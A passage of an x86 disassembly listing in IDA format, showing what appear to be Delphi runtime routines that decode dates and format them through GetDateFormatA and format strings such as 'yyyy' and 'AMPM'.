		test	ecx, ecx
		jg	short loc_40009169
		mov	eax, [ebp+var_4]
		mov	word ptr [eax],	0
		mov	eax, [ebp+var_8]
		mov	word ptr [eax],	0
		mov	eax, [ebp+var_C]
		mov	word ptr [eax],	0
		mov	word ptr [ebx],	0
		xor	edx, edx
		jmp	loc_4000925B
; ---------------------------------------------------------------------------


loc_40009169:				; CODE XREF: sub_4000911C+27j
		mov	eax, ecx
		mov	esi, 7
		cdq
		idiv	esi
		inc	edx
		mov	[ebx], dx
		dec	ecx
		mov	bx, 1
		cmp	ecx, 23AB1h
		jl	short loc_40009197


loc_40009184:				; CODE XREF: sub_4000911C+79j
		sub	ecx, 23AB1h
		add	bx, 190h
		cmp	ecx, 23AB1h
		jge	short loc_40009184


loc_40009197:				; CODE XREF: sub_4000911C+66j
		lea	eax, [ebp+var_E]
		push	eax
		lea	eax, [ebp+var_10]
		mov	dx, 8EACh
		xchg	eax, ecx
		call	sub_4000797C
		cmp	[ebp+var_10], 4
		jnz	short loc_400091B9
		dec	[ebp+var_10]
		add	[ebp+var_E], 8EACh


loc_400091B9:				; CODE XREF: sub_4000911C+91j
		imul	ax, [ebp+var_10], 64h
		add	bx, ax
		lea	eax, [ebp+var_E]
		push	eax
		lea	ecx, [ebp+var_10]
		movzx	eax, [ebp+var_E]
		mov	dx, 5B5h
		call	sub_4000797C
		movzx	eax, [ebp+var_10]
		add	eax, eax
		add	eax, eax
		add	bx, ax
		lea	eax, [ebp+var_E]
		push	eax
		lea	ecx, [ebp+var_10]
		movzx	eax, [ebp+var_E]
		mov	dx, 16Dh
		call	sub_4000797C
		cmp	[ebp+var_10], 4
		jnz	short loc_40009205
		dec	[ebp+var_10]
		add	[ebp+var_E], 16Dh


loc_40009205:				; CODE XREF: sub_4000911C+DDj
		add	bx, [ebp+var_10]
		mov	eax, ebx
		call	sub_40009014
		mov	edx, eax
		movzx	eax, dl
		lea	eax, [eax+eax*2]
		lea	esi, dword_4001A7FC[eax*8]
		mov	ax, 1


loc_40009223:				; CODE XREF: sub_4000911C+126j
		movzx	ecx, ax
		movzx	ecx, word ptr [esi+ecx*2-2]
		mov	[ebp+var_10], cx
		movzx	ecx, [ebp+var_E]
		cmp	cx, [ebp+var_10]
		jb	short loc_40009244
		movzx	ecx, [ebp+var_10]
		sub	[ebp+var_E], cx
		inc	eax
		jmp	short loc_40009223
; ---------------------------------------------------------------------------


loc_40009244:				; CODE XREF: sub_4000911C+11Bj
		mov	ecx, [ebp+var_4]
		mov	[ecx], bx
		mov	ecx, [ebp+var_8]
		mov	[ecx], ax
		movzx	eax, [ebp+var_E]
		inc	eax
		mov	ecx, [ebp+var_C]
		mov	[ecx], ax


loc_4000925B:				; CODE XREF: sub_4000911C+48j
		mov	eax, edx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_4000911C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40009268(double)

sub_40009268	proc near		; CODE XREF: sub_4000939C+2Ap

var_2		= dword	ptr -2
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, eax
		push	dword ptr [ebp+arg_0+4]
		push	dword ptr [ebp+arg_0] ;	double
		lea	eax, [ebp+var_2]
		push	eax		; int
		mov	eax, esi
		call	sub_4000911C
		pop	esi
		pop	ecx
		pop	ebp
		retn	8
sub_40009268	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40009288(double)

sub_40009288	proc near		; CODE XREF: sub_400096A8+2B3p
					; sub_400096A8+2DAp ...

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	dword ptr [ebp+arg_0+4]
		push	dword ptr [ebp+arg_0] ;	double
		lea	eax, [ebp+var_8]
		call	sub_40008F04
		mov	eax, [ebp+var_4]
		mov	ecx, 7
		cdq
		idiv	ecx
		mov	eax, edx
		inc	eax
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_40009288	endp


; =============== S U B	R O U T	I N E =======================================



sub_400092B0	proc near		; CODE XREF: sub_4000A170+14p
					; sub_4000A1CC+1A5p ...

var_10		= word ptr -10h

		add	esp, 0FFFFFFF0h
		push	esp
		call	sub_40006588	; GetLocalTime
		movzx	eax, [esp+10h+var_10]
		add	esp, 10h
		retn
sub_400092B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400092C4	proc near		; CODE XREF: sub_40009308+12p
					; sub_40009324+3Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	ebx, 100h
		sub	ebx, [ecx-104h]
		cmp	edx, ebx
		jge	short loc_400092DC
		mov	ebx, edx


loc_400092DC:				; CODE XREF: sub_400092C4+14j
		test	ebx, ebx
		jz	short loc_400092FA
		mov	edx, [ebp+arg_0]
		mov	edx, [edx-104h]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+edx-100h]
		mov	ecx, ebx
		call	sub_40002DFC


loc_400092FA:				; CODE XREF: sub_400092C4+1Aj
		mov	eax, [ebp+arg_0]
		add	[eax-104h], ebx
		pop	ebx
		pop	ebp
		retn
sub_400092C4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40009308	proc near		; CODE XREF: sub_400096A8+1D2p
					; sub_400096A8+1FFp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, eax
		test	edx, edx
		jz	short loc_40009316
		sub	edx, 4
		mov	edx, [edx]


loc_40009316:				; CODE XREF: sub_40009308+7j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_400092C4
		pop	ecx
		pop	ebp
		retn
sub_40009308	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40009324	proc near		; CODE XREF: sub_400096A8+18Dp
					; sub_400096A8+1A5p ...

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	4
		mov	[ebp+var_20], esi
		mov	[ebp+var_1C], 0
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], 0
		lea	eax, [ebp+var_20]
		push	eax
		push	1
		mov	ecx, offset dword_4001A880
		lea	eax, [ebp+var_10]
		mov	edx, 10h
		call	sub_40008314
		mov	edx, eax
		lea	eax, [ebp+var_10]
		call	sub_400092C4
		pop	ecx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40009324	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40009370	proc near		; CODE XREF: sub_400096A8+162p
					; sub_400096A8+1B1p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFFCh
		mov	edx, [eax]
		jmp	short loc_40009380
; ---------------------------------------------------------------------------


loc_4000937E:				; CODE XREF: sub_40009370+1Bj
		inc	dword ptr [eax]


loc_40009380:				; CODE XREF: sub_40009370+Cj
		mov	ecx, [eax]
		movzx	ecx, byte ptr [ecx]
		mov	ebx, [ebp+arg_0]
		cmp	cl, [ebx-5]
		jz	short loc_4000937E
		mov	eax, [eax]
		sub	eax, edx
		inc	eax
		mov	edx, [ebp+arg_0]
		mov	[edx-0Ch], eax
		pop	ebx
		pop	ebp
		retn
sub_40009370	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000939C	proc near		; CODE XREF: sub_400096A8+169p
					; sub_400096A8+1B8p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax-13h], 0
		jnz	short loc_400093D2
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; double
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax-12h]
		mov	eax, [ebp+arg_0]
		lea	edx, [eax-10h]
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFF2h
		call	sub_40009268
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax-13h], 1


loc_400093D2:				; CODE XREF: sub_4000939C+Aj
		pop	ebp
		retn
sub_4000939C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400093D4	proc near		; CODE XREF: sub_400096A8+324p
					; sub_400096A8+428p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax-1Dh], 0
		jnz	short loc_40009411
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; double
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFE4h
		push	eax		; int
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax-1Ah]
		mov	eax, [ebp+arg_0]
		lea	edx, [eax-18h]
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFEAh
		call	sub_40008FB8
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax-1Dh], 1


loc_40009411:				; CODE XREF: sub_400093D4+Aj
		pop	ebp
		retn
sub_400093D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40009414	proc near		; CODE XREF: sub_400096A8+1C9p

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_E		= word ptr -0Eh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEE4h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_11C], ecx
		mov	[ebp+var_4], ecx
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40009576
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		call	sub_40004884
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax-0Eh]
		mov	[ebp+var_14], ax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax-10h]
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax-12h]
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_4000958C
		call	sub_4000491C
		push	100h
		lea	eax, [ebp+var_114]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_40004D48
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		call	sub_400065C8	; GetThreadLocale
		push	eax
		call	sub_40006568	; GetDateFormatA
		test	eax, eax
		jz	loc_40009555
		mov	eax, ebx
		lea	edx, [ebp+var_114]
		mov	ecx, 100h
		call	sub_40004AF4
		dec	esi
		jnz	loc_40009555
		mov	eax, ds:dword_4001E8CC
		sub	eax, 4
		jz	short loc_400094E8
		sub	eax, 0Dh
		jnz	loc_40009555
		push	ebx
		mov	eax, [ebx]
		mov	edx, 1
		call	sub_4000BAF0
		mov	ecx, eax
		mov	eax, [ebx]
		mov	edx, 1
		call	sub_40004DA8
		jmp	short loc_40009555
; ---------------------------------------------------------------------------


loc_400094E8:				; CODE XREF: sub_40009414+ACj
		cmp	ds:dword_4001E8D0, 1
		jnz	short loc_40009555
		mov	eax, [ebx]
		mov	[ebp+var_118], eax
		mov	esi, [ebp+var_118]
		test	esi, esi
		jz	short loc_40009508
		sub	esi, 4
		mov	esi, [esi]


loc_40009508:				; CODE XREF: sub_40009414+EDj
		mov	eax, [ebx]
		mov	edx, esi
		call	sub_4000B950
		cmp	eax, 4
		jnz	short loc_40009555
		mov	eax, [ebx]
		mov	edx, 3
		call	sub_4000BA6C
		mov	esi, eax
		lea	eax, [ebp+var_114]
		add	esi, eax
		dec	esi
		lea	eax, [ebp+var_11C]
		mov	edx, esi
		call	sub_40004A7C
		mov	eax, [ebp+var_11C]
		mov	edx, 2
		call	sub_4000BAF0
		mov	ecx, eax
		mov	eax, ebx
		mov	edx, esi
		call	sub_40004974


loc_40009555:				; CODE XREF: sub_40009414+85j
					; sub_40009414+9Ej ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000957D


loc_40009562:				; CODE XREF: sub_40009414+167j
		lea	eax, [ebp+var_11C]
		call	sub_40004884
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40009576:				; DATA XREF: sub_40009414+1Do
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40009562
; ---------------------------------------------------------------------------


loc_4000957D:				; CODE XREF: sub_40009414+161j
					; DATA XREF: sub_40009414+149o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40009414	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_4000958C	dd 6767h	
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40009590	proc near		; CODE XREF: sub_400096A8+1F6p

var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_E		= word ptr -0Eh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEE8h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000967E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		call	sub_40004884
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax-0Eh]
		mov	[ebp+var_14], ax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax-10h]
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax-12h]
		mov	[ebp+var_E], ax
		cmp	esi, 2
		jg	short loc_400095EE
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_40009694
		call	sub_4000491C
		jmp	short loc_400095FB
; ---------------------------------------------------------------------------


loc_400095EE:				; CODE XREF: sub_40009590+4Dj
		lea	eax, [ebp+var_4]
		mov	edx, offset aYyyy ; "yyyy"
		call	sub_4000491C


loc_400095FB:				; CODE XREF: sub_40009590+5Cj
		push	100h
		lea	eax, [ebp+var_114]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_40004D48
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		call	sub_400065C8	; GetThreadLocale
		push	eax
		call	sub_40006568	; GetDateFormatA
		test	eax, eax
		jz	short loc_40009668
		mov	eax, ebx
		lea	edx, [ebp+var_114]
		mov	ecx, 100h
		call	sub_40004AF4
		dec	esi
		jnz	short loc_40009668
		mov	eax, [ebx]
		cmp	byte ptr [eax],	30h
		jnz	short loc_40009668
		mov	eax, [ebx]
		mov	[ebp+var_118], eax
		mov	esi, [ebp+var_118]
		test	esi, esi
		jz	short loc_40009658
		sub	esi, 4
		mov	esi, [esi]


loc_40009658:				; CODE XREF: sub_40009590+C1j
		push	ebx
		mov	ecx, esi
		dec	ecx
		mov	eax, [ebx]
		mov	edx, 2
		call	sub_40004DA8


loc_40009668:				; CODE XREF: sub_40009590+93j
					; sub_40009590+A8j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40009685


loc_40009675:				; CODE XREF: sub_40009590+F3j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000967E:				; DATA XREF: sub_40009590+17o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40009675
; ---------------------------------------------------------------------------


loc_40009685:				; CODE XREF: sub_40009590+EDj
					; DATA XREF: sub_40009590+E0o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40009590	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_40009694	dd 7979h, 0FFFFFFFFh, 4aYyyy		db 'yyyy',0             ; DATA XREF: sub_40009590+61o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400096A8	proc near		; CODE XREF: sub_400096A8+2FDp
					; sub_400096A8+311p ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_13		= byte ptr -13h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD4h
		push	ebx
		push	esi
		push	edi
		xor	edx, edx
		mov	[ebp+var_2C], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_4], eax
		lea	edi, [ebp+var_4]
		xor	eax, eax
		push	ebp
		push	offset loc_40009E2C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	dword ptr [edi], 0
		jz	loc_40009E11
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax-108h], 2
		jge	loc_40009E11
		mov	eax, [ebp+arg_0]
		inc	dword ptr [eax-108h]
		mov	[ebp+var_1E], 20h
		mov	[ebp+var_13], 0
		mov	[ebp+var_1D], 0
		mov	[ebp+var_1F], 0
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009704:				; CODE XREF: sub_400096A8+75Aj
		mov	eax, [edi]
		movzx	eax, byte ptr [eax]
		mov	[ebp+var_5], al
		movzx	eax, [ebp+var_5]
		movzx	eax, al
		bt	dword_4001A82C,	eax
		jnb	short loc_40009743
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [edi]
		call	sub_4000BB60
		mov	edx, eax
		mov	eax, [edi]
		call	sub_400092C4
		pop	ecx
		mov	eax, [edi]
		call	sub_4000BB80
		mov	[edi], eax
		mov	[ebp+var_1E], 20h
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009743:				; CODE XREF: sub_400096A8+72j
		mov	eax, [edi]
		call	sub_4000BB80
		mov	[edi], eax
		movzx	ebx, [ebp+var_5]
		mov	eax, ebx
		add	al, 9Fh
		sub	al, 1Ah
		jnb	short loc_4000975B
		sub	bl, 20h


loc_4000975B:				; CODE XREF: sub_400096A8+AEj
		mov	eax, ebx
		add	al, 0BFh
		sub	al, 1Ah
		jnb	short loc_40009773
		cmp	bl, 4Dh
		jnz	short loc_40009770
		cmp	[ebp+var_1E], 48h
		jnz	short loc_40009770
		mov	bl, 4Eh


loc_40009770:				; CODE XREF: sub_400096A8+BEj
					; sub_400096A8+C4j
		mov	[ebp+var_1E], bl


loc_40009773:				; CODE XREF: sub_400096A8+B9j
		movzx	eax, bl
		add	eax, 0FFFFFFDEh
		cmp	eax, 38h	; switch 57 cases
		ja	loc_40009DEB	; default
					; jumptable 40009789 cases 1-4,6-12,14-23,25-30,32,36,39-42,45-48,51-54
		movzx	eax, ds:byte_40009790[eax]
		jmp	ds:off_400097C9[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
byte_40009790	db    0Fh,     0,     0,     0 ; DATA XREF: sub_400096A8+DAr
		db	0,   0Fh,     0,     0 ; indirect table	for switch statement
		db	0,     0,     0,     0
		db	0,   0Dh,     0,     0
		db	0,     0,     0,     0
		db	0,     0,     0,     0
		db    0Eh,     0,     0,     0
		db	0,     0,     0,   0Bh
		db	0,   0Ch,     5,     3
		db	0,     2,     6,     0
		db	0,     0,     0,     4
		db	7,     0,     0,     0
		db	0,     8,     9,     0
		db	0,     0,     0,     1
		db    0Ah
off_400097C9	dd offset loc_40009DEB,	offset loc_40009809, offset loc_40009858
					; DATA XREF: sub_400096A8+E1r
		dd offset loc_40009885,	offset loc_400098B2, offset loc_40009917 ; jump	table for switch statement
		dd offset loc_400099C4,	offset loc_40009AC8, offset loc_40009AF9
		dd offset loc_40009B2A,	offset loc_40009B5F, offset loc_40009B90
		dd offset loc_40009CFD,	offset loc_40009D5B, offset loc_40009D7E
		dd offset loc_40009D9D
; ---------------------------------------------------------------------------


loc_40009809:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 55
		call	sub_40009370
		pop	ecx
		push	ebp
		call	sub_4000939C
		pop	ecx
		cmp	[ebp+var_C], 2
		jg	short loc_40009840
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_E]
		mov	ecx, 64h
		xor	edx, edx
		div	ecx
		mov	eax, edx
		mov	edx, 2
		call	sub_40009324
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009840:				; CODE XREF: sub_400096A8+173j
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_E]
		mov	edx, 4
		call	sub_40009324
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009858:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 37
		call	sub_40009370
		pop	ecx
		push	ebp
		call	sub_4000939C
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		push	ebp
		lea	edx, [ebp+var_28]
		mov	eax, [ebp+var_C]
		call	sub_40009414
		pop	ecx
		mov	eax, [ebp+var_28]
		call	sub_40009308
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009885:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 35
		call	sub_40009370
		pop	ecx
		push	ebp
		call	sub_4000939C
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		push	ebp
		lea	edx, [ebp+var_2C]
		mov	eax, [ebp+var_C]
		call	sub_40009590
		pop	ecx
		mov	eax, [ebp+var_2C]
		call	sub_40009308
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_400098B2:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 43
		call	sub_40009370
		pop	ecx
		push	ebp
		call	sub_4000939C
		pop	ecx
		mov	eax, [ebp+var_C]
		dec	eax
		sub	eax, 2
		jb	short loc_400098CD
		jz	short loc_400098E3
		jmp	short loc_400098FD
; ---------------------------------------------------------------------------


loc_400098CD:				; CODE XREF: sub_400096A8+21Fj
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		call	sub_40009324
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_400098E3:				; CODE XREF: sub_400096A8+221j
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_10]
		mov	eax, ds:dword_4001E82C[eax*4]
		call	sub_40009308
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_400098FD:				; CODE XREF: sub_400096A8+223j
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_10]
		mov	eax, ds:dword_4001E85C[eax*4]
		call	sub_40009308
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009917:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 34
		call	sub_40009370
		pop	ecx
		mov	eax, [ebp+var_C]
		dec	eax
		sub	eax, 2
		jb	short loc_40009931
		jz	short loc_4000994E
		dec	eax
		jz	short loc_40009975
		dec	eax
		jz	short loc_4000999C
		jmp	short loc_400099B0
; ---------------------------------------------------------------------------


loc_40009931:				; CODE XREF: sub_400096A8+27Dj
		push	ebp
		call	sub_4000939C
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_12]
		mov	edx, [ebp+var_C]
		call	sub_40009324
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_4000994E:				; CODE XREF: sub_400096A8+27Fj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; double
		call	sub_40009288
		movzx	eax, ax
		mov	eax, ds:dword_4001E88C[eax*4]
		call	sub_40009308
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009975:				; CODE XREF: sub_400096A8+282j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; double
		call	sub_40009288
		movzx	eax, ax
		mov	eax, ds:dword_4001E8A8[eax*4]
		call	sub_40009308
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_4000999C:				; CODE XREF: sub_400096A8+285j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_4001E814
		call	sub_400096A8
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_400099B0:				; CODE XREF: sub_400096A8+287j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_4001E818
		call	sub_400096A8
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_400099C4:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 38
		call	sub_40009370
		pop	ecx
		push	ebp
		call	sub_400093D4
		pop	ecx
		mov	[ebp+var_20], 0
		mov	esi, [edi]
		jmp	loc_40009A73
; ---------------------------------------------------------------------------


loc_400099DD:				; CODE XREF: sub_400096A8+3CEj
		movzx	eax, byte ptr [esi]
		movzx	eax, al
		bt	dword_4001A82C,	eax
		jnb	short loc_400099F7
		mov	eax, esi
		call	sub_4000BB80
		mov	esi, eax
		jmp	short loc_40009A73
; ---------------------------------------------------------------------------


loc_400099F7:				; CODE XREF: sub_400096A8+342j
		movzx	eax, byte ptr [esi]
		cmp	eax, 48h
		jg	short loc_40009A12
		jz	short loc_40009A7C
		sub	eax, 22h
		jz	short loc_40009A69
		sub	eax, 5
		jz	short loc_40009A69
		sub	eax, 1Ah
		jz	short loc_40009A1E
		jmp	short loc_40009A72
; ---------------------------------------------------------------------------


loc_40009A12:				; CODE XREF: sub_400096A8+355j
		sub	eax, 61h
		jz	short loc_40009A1E
		sub	eax, 7
		jz	short loc_40009A7C
		jmp	short loc_40009A72
; ---------------------------------------------------------------------------


loc_40009A1E:				; CODE XREF: sub_400096A8+366j
					; sub_400096A8+36Dj
		cmp	[ebp+var_20], 0
		jnz	short loc_40009A72
		mov	edx, offset dword_40009E3C
		mov	ecx, 5
		mov	eax, esi
		call	sub_400081E0
		test	eax, eax
		jz	short loc_40009A63
		mov	edx, offset dword_40009E44
		mov	ecx, 3
		mov	eax, esi
		call	sub_400081E0
		test	eax, eax
		jz	short loc_40009A63
		mov	edx, offset aAmpm ; "AMPM"
		mov	ecx, 4
		mov	eax, esi
		call	sub_400081E0
		test	eax, eax
		jnz	short loc_40009A7C


loc_40009A63:				; CODE XREF: sub_400096A8+38Fj
					; sub_400096A8+3A4j
		mov	[ebp+var_1F], 1
		jmp	short loc_40009A7C
; ---------------------------------------------------------------------------


loc_40009A69:				; CODE XREF: sub_400096A8+35Cj
					; sub_400096A8+361j
		movzx	eax, [ebp+var_20]
		xor	al, 1
		mov	[ebp+var_20], al


loc_40009A72:				; CODE XREF: sub_400096A8+368j
					; sub_400096A8+374j ...
		inc	esi


loc_40009A73:				; CODE XREF: sub_400096A8+330j
					; sub_400096A8+34Dj
		cmp	byte ptr [esi],	0
		jnz	loc_400099DD


loc_40009A7C:				; CODE XREF: sub_400096A8+357j
					; sub_400096A8+372j ...
		movzx	eax, [ebp+var_16]
		mov	[ebp+var_22], ax
		cmp	[ebp+var_1F], 0
		jz	short loc_40009AA5
		cmp	[ebp+var_22], 0
		jnz	short loc_40009A99
		mov	[ebp+var_22], 0Ch
		jmp	short loc_40009AA5
; ---------------------------------------------------------------------------


loc_40009A99:				; CODE XREF: sub_400096A8+3E7j
		cmp	[ebp+var_22], 0Ch
		jbe	short loc_40009AA5
		sub	[ebp+var_22], 0Ch


loc_40009AA5:				; CODE XREF: sub_400096A8+3E0j
					; sub_400096A8+3EFj ...
		cmp	[ebp+var_C], 2
		jle	short loc_40009AB2
		mov	[ebp+var_C], 2


loc_40009AB2:				; CODE XREF: sub_400096A8+401j
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_22]
		mov	edx, [ebp+var_C]
		call	sub_40009324
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


